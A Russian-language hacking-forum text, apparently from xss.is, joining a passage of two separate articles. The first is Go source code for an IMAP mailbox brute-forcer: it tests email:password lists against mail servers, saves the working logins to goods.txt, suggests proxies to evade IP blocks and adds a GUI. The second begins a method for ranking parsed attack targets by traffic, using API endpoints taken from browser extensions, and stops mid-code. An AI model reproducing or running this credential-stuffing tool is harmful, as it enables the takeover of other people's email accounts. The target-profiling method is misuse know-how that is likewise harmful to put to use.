Для обмена данными используются каналы, которые позволяют горутинам общаться
между собой. В основе каналов лежат принципы CSP. Для синхронизации доступа к
данным используются мьютексы, которые позволяют только одной горутине в
определенный момент времени выполнять код, защищенный мьютексом (например,
получение доступа к файлу).
Реализация кода
В первую очередь разберемся с критической секцией кода — записью результатов в файл. Она может исполняться только одной горутиной в один момент времени, иначе возникнет состояние гонки. Изменим код.
C-like:Copy to clipboard
// 1
func saveCredentialsToFile(email, password string, counts map[string]int, mu *sync.Mutex) error {
// 2
mu.Lock()
// 3
defer mu.Unlock()
file, err := os.OpenFile("goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer file.Close()
_, err = file.WriteString(fmt.Sprintf("%s:%s\n", email, password))
if err != nil {
return err
}
for sender, num := range counts {
if num > 0 {
_, err := file.WriteString(fmt.Sprintf("Сообщений от %s: %d\n", sender, num))
if err != nil {
return err
}
}
}
return nil
}
Количество горутин ограничено оперативной памятью, однако мы также ограничены
пропускной способностью сети (а также критической секцией). Будет разумно
ограничить количество одновременно запущенных горутин. Для этого мы будем
использовать семафор — абстрактный счетчик.
Мы также ограничены потенциальными блокировками со стороны IMAP сервера. Хотя
блокировка по IP возможна, судя по моим тестам, она не наступает мгновенно.
Однако вероятно, что это произойдет, если мы отправим тысячи запросов сразу.
Для обхода этой проблемы можно использовать прокси. Это потребует либо
самостоятельного поиска рабочих прокси (резидентских или бесплатных), либо
подключения к API стороннего сервиса.
Вынесем логику прохода по строкам с доступами в отдельную функцию.
C-like:Copy to clipboard
// 1
func processLine(line string, wg *sync.WaitGroup, sem chan struct{}, mu *sync.Mutex) {
// 2
defer wg.Done()
// 3
sem <- struct{}{}
// 4
defer func() { <-sem }()
parts := strings.Split(line, ":")
if len(parts) != 2 {
log.Printf("Некорректная строка: %v", line)
return
}
email := parts[0]
password := parts[1]
if !validateEmail(email) {
log.Printf("Некорректный адрес электронной почты: %v", email)
return
}
domain := strings.Split(email, "@")[1]
server, exists := getIMAPServer(domain)
if !exists {
log.Printf("IMAP сервер для домена %v не найден", domain)
return
}
cfg := auth.Config{
Server: server,
Port: 993,
Username: email,
Password: password,
}
client, err := auth.Login(cfg)
if err != nil {
log.Printf("Ошибка при аутентификации для %v: %v", email, err)
return
}
defer client.Logout()
log.Printf("Клиент для %v готов к использованию", email)
messages, err := emailutils.FetchEmails(client)
if err != nil {
log.Printf("Ошибка при получении сообщений для %v: %v", email, err)
return
}
filteredMessages, count := emailutils.FilterBySender(messages, "magic@mail.com", "support@google.com")
err = saveCredentialsToFile(email, password, count, mu)
if err != nil {
log.Printf("Ошибка при сохранении учетных данных для %v: %v", email, err)
}
for sender, num := range count {
if num > 0 {
log.Printf("Сообщений от %s: %d", sender, num)
}
}
for _, msg := range filteredMessages {
log.Printf("Email ID %d: %s", msg.Uid, msg.Envelope.Subject)
}
}
WaitGroup позволяет дожидаться окончания выполнения всех горутин.
Наконец, изменим код в основной функции.
C-like:Copy to clipboard
func main() {
file, err := os.Open("emails.txt")
if err != nil {
log.Fatalf("Не удалось открыть файл: %v", err)
}
defer file.Close()
// 1
var wg sync.WaitGroup
var mu sync.Mutex
// 2
sem := make(chan struct{}, 10)
scanner := bufio.NewScanner(file)
// 3
for scanner.Scan() {
line := scanner.Text()
wg.Add(1)
go processLine(line, &wg, sem, &mu)
}
// 4
wg.Wait()
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла: %v", err)
}
}
Каналы могут быть буферизированными и небуферизированными. Небуферизированные
каналы не имеют буфера, и каждая отправка блокируется до тех пор, пока другая
горутина не начнет чтение. Буферизированные каналы имеют фиксированный размер
буфера.
Проект по написанию брутфорса почтовых ящиков по IMAP завершен!
Исходный код доступен в прикрепленном файле.
Spoiler: Цвет, краски, кнопки
Wails
Возможно, вы спросите, для чего нужен GUI на Go? На самом деле, многим людям
требуется автоматизация каких-то процессов, но они не готовы работать с
терминалом, разворачивать контейнеры. Они готовы к цветам, краскам и кнопкам.
Существует несколько фреймворков для создания графических интерфейсов на
Golang. Самые популярные - go-gtk, fyne, qt, и еще с десяток менее известных.
Однако все они довольно блеклые (возможно, за исключением Qt), и большинство
очень плохо документировано. Среди прочих существует фреймворк - Wails. Что
такое Wails? Это электрон здорового человека!
Electron - это фреймворк, который позволяет создавать приложения с графическим
интерфейсом на JavaScript (HTML, CSS). Wails также берет концепцию JavaScript
для фронтенд-части. Если вы не работали с JavaScript, то возможно, следует
выбрать другой фреймворк для GUI. Впрочем, создание графических интерфейсов
связкой HTML, CSS, JavaScript - довольно перспективная идея.
Если вы работали с электроном, то должны помнить, что для того чтобы объявить
простую функцию, необходимо добавить её в конфиг в main.js, написать её логику
в renderer.js, добавить её в preload.js (!), подключить к index.html. Почему
preload не генерируется автоматически? Почему конфиг не генерируется
автоматически? Этот фреймворк должен быть как один файл с фронтендом
(графическим интерфейсом), второй с бекендом. Всё. Зачем там столько
бойлерплейта? (сделаю предположение, что для гибкости, ведь мы по сути
работаем в двух рантаймах). В Wails эти участки кода генерируются
автоматически. По сути, вы пишете функции на Go, и просто импортируете её в
index.html (и вызываете по кнопке). Всё!
Также к электрону можно подключить современные фреймворки типа React, Vue.js,
Angular. Как? Возможно, в документации есть команда-шаблон, которая
инициализирует проект сразу с одним из них? Нет, иди на хутор бабочек ловить.
Нужно ли говорить, что такие шаблоны есть в Wails?
Безусловно, Wails уступает в популярности электрону, тем не менее на нём
достаточно примеров кода, и, вроде, у них есть сервер в Discord с комьюнити.
Устанавливаем командой go install github.com/wailsapp/wails/v2/cmd/wails@latest
.Инициализируем проект, на выбор
есть шаблоны под самые популярные фронтенд-фреймворки (с TypeScript или без
него) - https://wails.io/docs/gettingstarted/firstproject. Я выберу React,
команда wails init -n imap -t react
. wails -help
- документация. У вас
также должен быть установлен npm.
В файле main.go мы можем задать конфигурацию для окна приложения.
C-like:Copy to clipboard
package main
import (
"embed"
"github.com/wailsapp/wails/v2"
"github.com/wailsapp/wails/v2/pkg/options"
"github.com/wailsapp/wails/v2/pkg/options/assetserver"
)
//go:embed all:frontend/dist
var assets embed.FS
func main() {
app := NewApp()
// 1
err := wails.Run(&options.App{
Title: "imapbrute",
Width: 341,
Height: 256,
AssetServer: &assetserver.Options{
Assets: assets,
},
BackgroundColour: &options.RGBA{R: 27, G: 38, B: 54, A: 1},
OnStartup: app.startup,
Bind: []interface{}{
app,
},
})
if err != nil {
println("Error:", err.Error())
}
}
Остальной код создаётся по умолчанию при инициализации проекта.
Приступаем к интерфейсу. В папке frontend, внутри которой находится папка src,
в файле app.jsx напишем небольшой код для демонстрации работы фреймворка. В
целом, я оставлю всё без изменений, за исключением того, что пользователь
будет передавать путь к файлу, используя оконный менеджер. Из всех функций
будет только кнопка "Старт", которая вызывает функцию main для брутфорса IMAP
серверов. Подробнее остановимся на взаимодействии кода на Go с JavaScript.
Если вам не понятен код на React, стоит немного изучить React. В целом, он
построен на использовании хуков. Хуки представляют собой функции со своим API,
каждый из которых делает что-то своё. В коде, например, используется хук
useState, который изменяет состояние переменной. То, что передается в скобках
после useState(''), - это начальное состояние. Когда мы вызываем set, мы
изменяем его на новое значение, при этом к переменной обращаемся через первый
аргумент из [] Также код пишется в файлах JSX, которые представляют собой
смесь HTML и JS в рамках одного файла.
JavaScript:Copy to clipboard
import React, { useState } from 'react';
import './App.css';
// 1
import { SelectFile, MainF } from '../wailsjs/go/main/App';
function App() {
// 2
const [selectedFile, setSelectedFile] = useState('');
const [status, setStatus] = useState('');
// 3
const selectFile = async () => {
try {
const fileName = await SelectFile();
setSelectedFile(fileName);
} catch (error) {
console.error('Ошибка:', error);
}
};
// 4
const mainF = async () => {
try {
setStatus("В работе");
await MainF(selectedFile);
alert("Готово");
setStatus("");
} catch (error) {
console.error('Ошибка:', error);
}
};
// 5
return (
<div id="App">
// 6
<button onClick={selectFile}>Выбрать файл</button>
// 7
{selectedFile && (
<div>
<p>Выбранный файл: {selectedFile}</p>
// 8
{status ? (
<p>{status}</p>
) : (
<button onClick={mainF}>Старт</button>
)}
</div>
)}
</div>
);
}
export default App;
Переходим в app.go - переносим код с проекта выше, за исключением небольших изменений. Также реализуем функцию выбора файла с помощью оконного менеджера.
C-like:Copy to clipboard
// 1
func (a *App) SelectFile() (string, error) {
// 2
file, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{})
if err != nil {
return "", err
}
// 3
absPath, err := filepath.Abs(file)
if err != nil {
return "", err
}
// 4
return absPath, nil
}
// 5
func (a *App) MainF(inputFilePath string) error {
file, err := os.Open(inputFilePath)
// ...
}
Для запуска в режиме разработки вводим команду wails dev
, для сборки -
wails build
. Можно также передавать через интерфейс количество горутин и
отправителей писем - логика будет та же.
Теперь код для брутфорса почтовых ящиков упакован в графический интерфейс. Для
красоты дизайна мы можем заморочиться с CSS.
Как по мне, очень интересный фреймворк, и если вы планируете создавать
графические приложения, стоит присмотреться!
Spoiler: Заключение
Для более глубокого понимания процессов конкурентного программирования на Go
нет ничего лучше книги "Concurrency in Go: Tools and Techniques for
Developers". Это одна из самых важных и интересных областей программирования!
(Например, вернувшись к коду, критическую секцию с записью файла можно
оптимизировать, а оптимизация это деньги.)
А для более глубокого понимания Golang нет ничего лучше книги "Golang для
профи. Работа с сетью, многопоточность, структуры данных и машинное обучение с
Go" Михалиса Цукалоса.
Пираты без кораблей, аниме без сюжета, женщины без меня – нужно исправлять эти
косяки, в тилимилитрямдий!
Автор petrinh1988
Источник https://xss.is
В предыдущей статье, рассмотрел, как можно парсить цели используя ресурсы Google Sheets. Было бы неплохо, обогатить данные. Как минимум, получить статистику посещений и какую-то базовую информацию для планирования дальнейшей деятельности.
Наверное, это главный показатель при парсинге. Сайты без посещаемости не интересны никому. Вряд ли ресурс с низкой посещаемостью оплатит хорошую комиссию по баг баунти, а уж про получение темных данных и речи быть не может…
Проверять руками каждый сайт в отдельности, можно сойти с ума. То, что попадалось в интернет, с возможностью проверки по API, зачастую упирается в серьезные лимиты и необходимость платить кровные. Поэтому, пойдем по бесплатному пути, а здесь потребуется чуть-чуть подумать.
Мой вариант - это расширения для браузеров. Есть кучка расширений для Chrome и Firefox, которые позволяют посмотреть данные по статистике посещаемости, основным странам посетителей, типу трафика и т.д. и т.п. Кстати, не стоит недооценивать последнюю метрику, если много покупного трафика (пофиг, контекст, тизерки и т.п.), значит в ресурс валивются деньги и народ идет заточенный на конверсию. Для баг баунти, это важный аргумент для поднятия цены за уязвимость.
Конечно же, мы пойдем не пользовательским путем. Фишка в том, что из соображений безопасности, исходный код расширений должен быть полностью открытым. Вроде бы есть вариант, закрытого или частично закрытого кода, но я их не встречал в практике. Обычно это рядовой открытый (даже не обфусцированный) JS. И только у приватных расширений, которые распространяются вне официальных площадок, код может быть нечитаемым.
Почему требуют открытый исходный код, думаю не сложно догадаться. Расширение может сделать почти что угодно в браузере и получить доступ к многим данным. Здесь на форуме есть тема, как через дубль расширения браузера крадут криптовалюту. Раньше была тема с дублированием расширений, но при поиске в Google или Яндекс, дубль расширения подменял ссылки на партнерские или фишинговые.
Выбрал два хороших, на мой взгляд, расширения для FF: HypeStat Analyzer и StatsCrop. Идем в официальный магазин Add-ons для Firefox Browser. Устанавливаем оба. Следом топаем по следующему пути:
Кстати, точный путь к профилю FF можно узнать, если в адресной строке браузера вбить about:support. В целом, советую полистать для себя, можно найти новую информацию о своем браузере.
В папке “extensions” лежат расширения в виде файла .xpi. Это обычный архив, поэтому спокойно разархивируем. Внутри папок встретим набор файлов, схожий с обычным сайтом.
Ищем обращения к API и удивляемся тому, насколько легко получаем два важных адреса:
Обращаю внимание, что “E9asC1KOutzPrlALHn34X” это не какой-то идентификатор конкретной установки или что-то подобное. Эта строчка, по сути своей, просто попытка закрыться от автоматического парсинга. У всех установивших расширение она будет одинаковой. При обновлении расширения, может измениться и тогда наш код перестанет работать. Нужно будет снова залезть в расширение и получить новое значение.
Открываем обе ссылки в браузере, подставив какие-то тестовые доменные, чтобы понимать с чем придется работать.
Spoiler: Выдача для hypestat
JSON:Copy to clipboard
{
"success": true,
"data": {
"domain": [
{
"domain": "google.com",
"updated": "2024-06-13 18:08:48"
}
],
"rank": [
{
"hype_rank": "1",
"semrush_rank": "8",
"similarweb_rank": "1"
}
],
"traffic": [
{
"daily_visits": "2846234317",
"monthly_visits": "86240899805",
"daily_page_views": "24911429532",
"pageviews_per_user": "8.75",
"average_visit_duration": "641",
"bounce_rate": "0.2802404",
"global_reach": "57.7338120",
"monthly_visits_sem": "132200570116",
"monthly_unique_visitors_sem": "6112926145",
"monthly_visits_similarweb": "86249524745",
"monthly_users_diff": "-15.71",
"monthly_visits_diff": "-3.21",
"time_on_site_diff": "3.56",
"pages_per_visit_diff": "7.32",
"bounce_rate_diff": "1.63"
}
],
"traffic_sources": [
{
"direct": "95.54",
"referral": "3.02",
"search": "0.65",
"social": "0.79",
"paid": "0.00"
}
],
"desktop_vs_mobile": [
{
"desktop": "26.26",
"mobile": "73.74"
}
],
"total_visits_last_3_months": [
{
"month": "MAR",
"mothly_visits": 85458446252,
"monthly_visits_short": "85.5B",
"percent": 96
},
{
"month": "APR",
"mothly_visits": 89101043295,
"monthly_visits_short": "89.1B",
"percent": 100
},
{
"month": "MAY",
"mothly_visits": 86240899805,
"monthly_visits_short": "86.2B",
"percent": 97
}
],
"visitors_by_country": [
{
"country": "United States",
"visits_percent": "26.49",
"page_views_percent": "",
"country_rank": ""
},
{
"country": "India",
"visits_percent": "4.56",
"page_views_percent": "",
"country_rank": ""
},
{
"country": "Brazil",
"visits_percent": "4.41",
"page_views_percent": "",
"country_rank": ""
},
{
"country": "United Kingdom",
"visits_percent": "4.07",
"page_views_percent": "",
"country_rank": ""
},
{
"country": "Japan",
"visits_percent": "3.91",
"page_views_percent": "",
"country_rank": ""
}
],
"subdomains": [
{
"subdomains": "google.com",
"reach_percent": "88.69",
"page_views_percent": "35.05",
"page_views_per_user": "4.69"
},
{
"subdomains": "mail.google.com",
"reach_percent": "19.45",
"page_views_percent": "27.32",
"page_views_per_user": "16.67"
},
{
"subdomains": "docs.google.com",
"reach_percent": "14.23",
"page_views_percent": "13.16",
"page_views_per_user": "10.98"
},
{
"subdomains": "accounts.google.com",
"reach_percent": "13.67",
"page_views_percent": "5.16",
"page_views_per_user": "4.48"
},
{
"subdomains": "drive.google.com",
"reach_percent": "9.24",
"page_views_percent": "4.41",
"page_views_per_user": "5.660"
}
],
"backlinks": [
{
"total_backlinks": "3500063660",
"follow_links": "2879769796",
"no_follow_links": "620293863",
"referring_domains": "1299823",
"referring_ips": "326017"
}
],
"backlinks_by_country": [
{
"country": "Russian Federation",
"domains": "465,557"
},
{
"country": "United States",
"domains": "418,969"
},
{
"country": "Germany",
"domains": "61,760"
},
{
"country": "France",
"domains": "23,442"
},
{
"country": "United Kingdom",
"domains": "18,677"
}
],
"backlinks_by_tlds": [
{
"tld": ".com",
"domains": "554,290"
},
{
"tld": ".ru",
"domains": "416,966"
},
{
"tld": ".ua",
"domains": "45,993"
},
{
"tld": ".edu",
"domains": "918"
},
{
"tld": ".gov",
"domains": "249"
}
],
"search_engine_indexes": [
{
"Google Index": "543,000,000",
"Bing Index": "228,000",
"Baidu Index": "81"
}
],
"sem_rush": [
{
"rank": "8",
"organic_keywords": "173075173",
"organic_traffic": "519144364",
"organic_cost": "2086380030"
}
],
"moz": [
{
"domain_authority": 94,
"page_authority": 89,
"moz_rank": 9
}
],
"page_speed": [
{
"load_time": "150",
"slower_sites_percent": "64",
"speed_score_d": "98",
"speed_score_m": "69"
}
],
"estimated_earnings": [
{
"daily_ads_revenue": "94315262.66",
"estimated_website_worth": "136563108878.06"
}
],
"mywot": [
{
"mw_status": "SAFE",
"mw_safety_reputations": 94,
"mw_safety_confidence": 64,
"mw_child_safety_reputations": 93,
"mw_child_safety_confidence": 64
}
],
"ssl": [
{
"domain_ssl_status": "1"
}
],
"http2": [
{
"http2": "1"
}
],
"host": [
{
"server_ip": "142.250.191.174",
"asn": "AS15169",
"isp": "Google LLC",
"latitude": "37.751",
"longitude": "-97.822",
"city": "Farmingdale",
"region": "New York",
"region_code": "NY",
"postal_code": "11735",
"country_name": "United States",
"country_code": "US"
}
],
"technologies": {
"Web Servers": [
{
"st_name": "Google Web Server",
"st_icon": "Google.svg"
}
]
},
"whois": [
{
"domain_created": "1997-09-15",
"whois": "Domain Name: google.com\nRegistry Domain ID: 2138514_DOMAIN_COM-VRSN\nRegistrar WHOIS Server: whois.markmonitor.com\nRegistrar URL: http:\/\/www.markmonitor.com\nUpdated Date: 2019-09-09T15:39:04+0000\nCreation Date: 1997-09-15T07:00:00+0000\nRegistrar Registration Expiration Date: 2028-09-13T07:00:00+0000\nRegistrar: MarkMonitor, Inc.\nRegistrar IANA ID: 292\nRegistrar Abuse Contact Email: abusecomplaints@markmonitor.com\nRegistrar Abuse Contact Phone: +1.2086851750\nDomain Status: clientUpdateProhibited (https:\/\/www.icann.org\/epp#clientUpdateProhibited)\nDomain Status: clientTransferProhibited (https:\/\/www.icann.org\/epp#clientTransferProhibited)\nDomain Status: clientDeleteProhibited (https:\/\/www.icann.org\/epp#clientDeleteProhibited)\nDomain Status: serverUpdateProhibited (https:\/\/www.icann.org\/epp#serverUpdateProhibited)\nDomain Status: serverTransferProhibited (https:\/\/www.icann.org\/epp#serverTransferProhibited)\nDomain Status: serverDeleteProhibited (https:\/\/www.icann.org\/epp#serverDeleteProhibited)\nRegistrant Organization: Google LLC\nRegistrant State\/Province: CA\nRegistrant Country: US\nRegistrant Email: Select Request Email Form at https:\/\/domains.markmonitor.com\/whois\/google.com\nAdmin Organization: Google LLC\nAdmin State\/Province: CA\nAdmin Country: US\nAdmin Email: Select Request Email Form at https:\/\/domains.markmonitor.com\/whois\/google.com\nTech Organization: Google LLC\nTech State\/Province: CA\nTech Country: US\nTech Email: Select Request Email Form at https:\/\/domains.markmonitor.com\/whois\/google.com\nName Server: ns2.google.com\nName Server: ns1.google.com\nName Server: ns3.google.com\nName Server: ns4.google.com\nDNSSEC: unsigned\nURL of the ICANN WHOIS Data Problem Reporting System: http:\/\/wdprs.internic.net\/\n>>> Last update of WHOIS database: 2023-04-06T14:03:28+0000 <<<\n\nFor more information on WHOIS status codes, please visit:\n https:\/\/www.icann.org\/resources\/pages\/epp-status-codes\n\nIf you wish to contact this domain\u00e2\u20ac\u2122s Registrant, Administrative, or Technical\ncontact, and such email address is not visible above, you may do so via our web\nform, pursuant to ICANN\u00e2\u20ac\u2122s Temporary Specification. To verify that you are not a\nrobot, please enter your email address to receive a link to a page that\nfacilitates email communication with the relevant contact(s).\n\nWeb-based WHOIS:\n https:\/\/domains.markmonitor.com\/whois\n\nIf you have a legitimate interest in viewing the non-public WHOIS details, send\nyour request and the reasons for your request to whoisrequest@markmonitor.com\nand specify the domain name in the subject line. We will review that request and\nmay ask for supporting documentation and explanation.\n\nThe data in MarkMonitor\u00e2\u20ac\u2122s WHOIS database is provided for information purposes,\nand to assist persons in obtaining information about or related to a domain\nname\u00e2\u20ac\u2122s registration record. While MarkMonitor believes the data to be accurate,\nthe data is provided \"as is\" with no guarantee or warranties regarding its\naccuracy.\n\nBy submitting a WHOIS query, you agree that you will use this data only for\nlawful purposes and that, under no circumstances will you use this data to:\n (1) allow, enable, or otherwise support the transmission by email, telephone,\nor facsimile of mass, unsolicited, commercial advertising, or spam; or\n (2) enable high volume, automated, or electronic processes that send queries,\ndata, or email to MarkMonitor (or its systems) or the domain name contacts (or\nits systems).\n\nMarkMonitor reserves the right to modify these terms at any time.\n\nBy submitting this query, you agree to abide by this policy.\n\nMarkMonitor Domain Management(TM)\nProtecting companies and consumers in a digital world.\n\nVisit MarkMonitor at https:\/\/www.markmonitor.com\nContact us at +1.8007459229\nIn Europe, at +44.02032062220\n--\n"
}
],
"other": [
{
"estimated_hidden": "0"
}
]
}
}
Spoiler: Выдача для statscrop
JSON:Copy to clipboard
{"domain":"google.com","domain_decode":"Google.com","thumbnail_url":"https:\/\/assets.statscrop.com\/g\/oo\/gle\/com\/thumbnail.jpg","thumbnail_webp_url":"https:\/\/assets.statscrop.com\/g\/oo\/gle\/com\/thumbnail.webp","favicon_url":"https:\/\/assets.statscrop.com\/g\/oo\/gle\/com\/favicon.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/g\/oo\/gle\/com\/favicon.webp","title":"Google","description":"Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.","globalRank":"1","visitors":"256200000","chart":{"visitors":["1710633600%3A253200000","1710720000%3A259900000","1710806400%3A245600000","1710892800%3A267600000","1710979200%3A232400000","1711065600%3A243300000","1711152000%3A237300000","1711238400%3A273400000","1711324800%3A260600000","1711411200%3A272500000","1711497600%3A246700000","1711584000%3A252200000","1711670400%3A227100000","1711756800%3A245400000","1711843200%3A267000000","1711929600%3A248600000","1712016000%3A258700000","1712102400%3A237800000","1712188800%3A261200000","1712275200%3A251200000","1712361600%3A261200000","1712448000%3A260800000","1712534400%3A271600000","1712620800%3A229500000","1712707200%3A265400000","1712793600%3A258400000","1712880000%3A244800000","1712966400%3A236500000","1713052800%3A259500000","1713139200%3A256800000","1713225600%3A234500000","1713312000%3A257400000","1713398400%3A232400000","1713484800%3A267400000","1713571200%3A225300000","1713657600%3A267100000","1713744000%3A257700000","1713830400%3A230500000","1713916800%3A270000000","1714003200%3A243300000","1714089600%3A253100000","1714176000%3A243800000","1714262400%3A271700000","1714348800%3A251300000","1714435200%3A272900000","1714521600%3A246400000","1714608000%3A235100000","1714694400%3A238900000","1714780800%3A225600000","1714867200%3A229900000","1714953600%3A241900000","1715040000%3A244600000","1715126400%3A273500000","1715212800%3A240800000","1715299200%3A235100000","1715385600%3A266400000","1715472000%3A226600000","1715558400%3A260300000","1715644800%3A247000000","1715731200%3A256000000","1715817600%3A232400000","1715904000%3A260300000","1715990400%3A259300000","1716076800%3A242900000","1716163200%3A266800000","1716249600%3A228100000","1716336000%3A244400000","1716422400%3A270300000","1716508800%3A256400000","1716595200%3A273900000","1716681600%3A249500000","1716768000%3A262200000","1716854400%3A251100000","1716940800%3A274300000","1717027200%3A251900000","1717113600%3A235500000","1717200000%3A238600000","1717286400%3A239200000","1717372800%3A250600000","1717459200%3A235900000","1717545600%3A262700000","1717632000%3A253600000","1717718400%3A269500000","1717804800%3A234400000","1717891200%3A238700000","1717977600%3A268600000","1718064000%3A254400000","1718150400%3A233700000","1718236800%3A227100000","1718323200%3A256200000"],"countries":[{"percent":"17.85%","code":"in","name":"India","rank":"1","visitors":45730000},{"percent":"7.59%","code":"us","name":"United States","rank":"1","visitors":19450000},{"percent":"5.53%","code":"ir","name":"Iran","rank":"1","visitors":14170000},{"percent":"4.86%","code":"ca","name":"Canada","rank":"2","visitors":12450000},{"percent":"4.33%","code":"sg","name":"Singapore","rank":"1","visitors":11090000},{"percent":"4.32%","code":"eg","name":"Egypt","rank":"3","visitors":11070000},{"percent":"3.86%","code":"ch","name":"Switzerland","rank":"2","visitors":9890000},{"percent":"3.08%","code":"bd","name":"Bangladesh","rank":"1","visitors":7890000},{"percent":"2.44%","code":"cz","name":"Czech Republic","rank":"","visitors":6250000},{"percent":"2.25%","code":"au","name":"Australia","rank":"1","visitors":5760000},{"name":"(Other)","is_other":true,"code":"","percent":"43.89%","rank":"","visitors":112400000}],"subdomains":[{"subdomain":"www.google.com","percent":"40.87%","visitors":104700000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"mail.google.com","percent":"21.61%","visitors":55360000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"docs.google.com","percent":"11.61%","visitors":29740000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"translate.google.com","percent":"7.23%","visitors":18520000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"search.google.com","percent":"3.16%","visitors":8100000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"accounts.google.com","percent":"2.06%","visitors":5280000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"drive.google.com","percent":"1.74%","visitors":4460000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"analytics.google.com","percent":"1.56%","visitors":4000000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"chromewebstore.google.com","percent":"1.23%","visitors":3150000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"gemini.google.com","percent":"1.22%","visitors":3130000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"},{"subdomain":"(Other)","is_other":true,"percent":"7.71%","visitors":19750000,"favicon_url":"https:\/\/assets.statscrop.com\/favicons.png","favicon_webp_url":"https:\/\/assets.statscrop.com\/favicons.webp"}],"keywords":[{"keyword":"google charger 30w","percent":"4.17%","visitors":87000},{"keyword":"hash symbol","percent":"4.17%","visitors":87000},{"keyword":"\u00c7EV\u0130R\u0130","percent":"3.47%","visitors":72000},{"keyword":"translation","percent":"3.47%","visitors":72000},{"keyword":"ProSkill Services","percent":"2.78%","visitors":58000},{"keyword":"\u7edf\u8ba1\u9e1f","percent":"2.08%","visitors":43000},{"keyword":"translate to Persian","percent":"2.08%","visitors":43000},{"keyword":"zilla font","percent":"2.08%","visitors":43000},{"keyword":"\u5728\u7ebf\u7ffb\u8bd1","percent":"2.08%","visitors":43000},{"keyword":"admob android mediation","percent":"2.08%","visitors":43000},{"keyword":"(Other)","is_other":true,"percent":"71.54%","visitors":1490000}]},"country":{"code":"in","name":"India","rank":"1"}}
Hypestat отдает гораздо более богатые данные. Будем работать с ним. Но, скажу сразу, что не проверял какое расширение показывает стату точнее. Но в любом случае, с heptstat мы получаем значительно больше информации, чем сильно упрощаем себе задачу. SEO-шники от такого пищали бы, но мне больше нравятся свойства host, subdomains и technologies:
JSON:Copy to clipboard
"subdomains": [
{
"subdomains": "google.com",
"reach_percent": "88.69",
"page_views_percent": "35.05",
"page_views_per_user": "4.69"
},
{
"subdomains": "mail.google.com",
"reach_percent": "19.45",
"page_views_percent": "27.32",
"page_views_per_user": "16.67"
},
{
"subdomains": "docs.google.com",
"reach_percent": "14.23",
"page_views_percent": "13.16",
"page_views_per_user": "10.98"
},
{
"subdomains": "accounts.google.com",
"reach_percent": "13.67",
"page_views_percent": "5.16",
"page_views_per_user": "4.48"
},
{
"subdomains": "drive.google.com",
"reach_percent": "9.24",
"page_views_percent": "4.41",
"page_views_per_user": "5.660"
}
],
JSON:Copy to clipboard
"host": [
{
"server_ip": "142.250.191.174",
"asn": "AS15169",
"isp": "Google LLC",
"latitude": "37.751",
"longitude": "-97.822",
"city": "Farmingdale",
"region": "New York",
"region_code": "NY",
"postal_code": "11735",
"country_name": "United States",
"country_code": "US"
}
],
JSON:Copy to clipboard
"technologies": {
"Web Servers": [
{
"st_name": "Google Web Server",
"st_icon": "Google.svg"
}
]
},
Напомню, что у Google Apps Script есть ограничения на количество исходящих запросов - 20000 в сутки на аккаунт. Не на скрипт или таблицу, а на аккаунт! Поэтому, стоит хорошо подумать, как лучше обогащать данные.
Я делаю почти все внутри Google Sheets. Делаю два триггера: один парсит таргеты, второй проходит и добавляет данные. Можно использовать таблицы, как хранилище. Реализовать получение доменов из таблицы через doGet(), а добавление через doPost(). Реализую это чуть дальше, чтобы переложить часть работы на другие скрипты и экономить запросы гугла.
Воспользуюсь таблицей из прошлой статьи. На листе results свободные колонки начинаются с H (восьмая), начиная с нее и будем добавлять данные. Нучну с того, что получу номер последней проверенной строки, лист с результатами и крайнюю строчку с хостами. В целом, функция получения будет повторять начало кода парсинга:
JavaScript:Copy to clipboard
function getStatistics() {
let domainRow = parseInt(ScriptProperties.getProperty('domainRow'));
if (!domainRow) {
domainRow= 1;
ScriptProperties.setProperty('domainRow', domainRow);
}
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
const lastRow = sheetResults.getLastRow() + 1;
//...General loop...
}
Дальше надо пройтись циклом, в котором получим все хосты (столбец B) и запросим статистику. Но перед этим слегка изменим старый код, а именно получение данных. Сам процесс получения и парса в JSON выкину в отдельную функцию, превратив getDataFromAPI(dork) в надстройку для функции:
Было
JavaScript:Copy to clipboard
function getDataFromAPI(dork) {
const url = `${API_URL}?user=${API_USER}&key=${API_KEY}&groupby=100&domain=37&device=desktop&hl=en&lr=2840&filter=1&query=${encodeURIComponent(dork)}`;
console.log('Start fetching by url: ', url);
const response = UrlFetchApp.fetch(url);
const content = response.getContentText();
console.log('Response:');
console.log(content);
const json = JSON.parse(content);
return json;
}
Стало:
JavaScript:Copy to clipboard
function fetchData(url, options={}) {
const response = UrlFetchApp.fetch(url, options);
const content = response.getContentText();
console.log('Response:');
console.log(content);
const json = JSON.parse(content);
return json;
}
function getDataFromAPI(dork) {
const url = `${API_URL}?user=${API_USER}&key=${API_KEY}&groupby=100&domain=37&device=desktop&hl=en&lr=2840&filter=1&query=${encodeURIComponent(dork)}`;
